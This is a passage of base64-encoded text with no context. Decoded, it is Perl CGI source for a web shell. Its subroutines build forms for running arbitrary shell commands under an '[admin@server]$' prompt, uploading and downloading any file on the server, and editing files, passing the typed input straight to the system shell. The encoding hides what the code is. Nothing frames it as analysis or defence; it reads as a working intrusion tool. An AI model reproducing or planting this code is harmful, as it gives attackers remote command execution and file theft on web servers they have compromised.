QgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXIgPSAmQWRkTGlua0RpcigiZG93bmxvYWQiKTsgDQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPg0KJFByb21wdCBkb3dubG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9tcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQgPC9ydW4+PGJyPjx0ZXh0YXJlYSBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hDQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsNCgkJJHJlc3VsdCAuPSAmUnVuQ21kOw0KCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pDQoJew0KCQkkcmVzdWx0IC49ICAmU2F2ZUZpbGVGb3JtOw0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJJHJlc3VsdCAuPSZSdW5DbWQ7DQoJfQ0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCRDb21tYW5kKTsNCgl9DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgRm9ybSBTYXZlIEZpbGUgDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGVGb3JtDQp7DQoJbXkgJHJlc3VsdCA9IiI7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSk